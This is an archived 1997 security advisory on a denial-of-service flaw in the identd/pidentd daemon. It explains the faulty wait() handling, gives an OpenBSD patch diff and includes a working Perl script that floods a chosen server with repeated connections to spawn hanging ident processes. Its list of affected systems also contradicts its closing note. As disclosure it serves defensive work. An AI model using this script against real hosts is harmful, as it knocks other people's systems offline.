home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / identd_attack.txt < prev    next >
Text File  |  1998-07-17  |  4KB  |  109 lines

  1.  
  2.  ************** Corinne Posse Security Notice  **************
  3. Issue Number 8: 970803
  4.     **************  http://posse.cpio.org  **************
  5.  
  6. **** Denial of Service care of identd ****
  7.  
  8. A massive amount of authorization requests to identd (pidentd and others)
  9. can cause system load to skyrocket, making the system unusable.
  10.  
  11. Affected Sites:
  12. FreeBSD, NetBSD, Linux, SCO, Solaris, IRIX, and OpenBSD prior to 8/1/97.
  13. ANY system running pidentd.
  14.  
  15. Problem:
  16. A massive amount of ident requests causes the identd daemon to "spin"
  17. because the daemon does not correctly close the socket from the host
  18. that issues a request. This is due to a poorly implemented incantation
  19. of wait(). The improper code perpetuates the identd process and allows
  20. the process to hang, slowing system performance considerably. On average,
  21. 2-3 spinning processes slow the system noticeably-- 10-15 make the system
  22. unusable. Bear in mind that this is all based on the speed of the system
  23. and the above numbers hold true for machines like a p5/100 with 32M of RAM.
  24. Simply "kill -9 (ident's PIDs)" fixes the problem if it occurs.
  25.  
  26. Fix:
  27. Thanks to Theo de Raadt of the OpenBSD project, we are proud to announce
  28. that OpenBSD has fixed this problem, and that the following patches
  29. are available. OpenBSD uses a modified version of pidentd.
  30.  
  31. Index: libexec/identd/identd.c
  32. ===================================================================
  33. RCS file: /cvs/src/libexec/identd/identd.c,v
  34. retrieving revision 1.4
  35. retrieving revision 1.5
  36. diff -r1.4 -r1.5
  37. 2c2
  38. < **    $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $
  39. ---
  40. > **    $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $
  41. 180a181
  42. >   int save_errno = errno;
  43. 184a186
  44. >   errno = save_errno;
  45.  
  46. Exploit:
  47. This problem was discovered simultaneously by Jack0 as well as Jonathan
  48. Katz. Jack0 noticed that a user's repeated requests to an IRC server
  49. spawned many identd processes on his local machine, bringing his box to a crawl.
  50. Jon noticed that after someone sent email to the various mailing lists he
  51. runs, the many hosts receiving the mail would make ident requests and
  52. leave his system paralyzed. To see if your system is vulnerable, Jack0
  53. has come up with a PERL script that repeatedly tries to connect to an
  54. IRC server. With a little tinkering, the script can be used to adapt to
  55. a variety of different services if you want or need to test other services.
  56.  
  57. #!/usr/bin/perl
  58. # Ident abuse script which can be used to test for the identd vulnerability
  59. # on the local system.
  60. # jack0@cpio.org for questions
  61.  
  62. #include <Socket.pm>
  63. use Socket;
  64. my($h,$p,$in_addr,$proto,$addr);
  65. $h = "$ARGV[0]";
  66. $p = 6667 if (!$ARGV[1]);
  67. if (!$h) {
  68.   print "Host name most be specified i.e.,; some.server.net\n";
  69. }
  70. $in_addr = (gethostbyname($h))[4];
  71. $addr = sockaddr_in($p,$in_addr);
  72. $proto = getprotobyname('tcp');
  73. &connect;
  74.  
  75. sub connect {
  76.   print "Connection in progress:\n";
  77.   socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
  78.   connect(S,$addr) or die $!;
  79.   select S;
  80.   $| = 1;
  81.   print "QUIT\n";
  82.   select STDOUT;
  83.   close S;
  84.   &connect;
  85. }
  86.  
  87.  
  88. ===========================================================================
  89.  
  90.  
  91. > Does this still apply when identd is called from inetd.conf wait -w -t120
  92. > or run in daemon mode?
  93.  
  94. This occurs when ident is being called from inetd-- with ANY "-w" time
  95. alotted. The OpenBSD default is -w60 or -w120, I tested it at -w40 and
  96. other settings.
  97.  
  98.  
  99. ===========================================================================
  100.  
  101. This patch is now incorporated into the main Pidentd distribution
  102. as of version 2.8a4 now available on:
  103.  
  104.         ftp://ftp.lysator.liu.se/pub/ident/servers/pidentd-2.8a4.tar.gz
  105.  
  106. (Btw, this bug did not affect HP-UX, SVR4 (Solaris et al), IRIX, UNICOS,
  107. A/UX, SCO or Linux since they support the "signal(SIGCHLD, SIG_IGN)"
  108. way of automatically disposing of dead children.)
  109.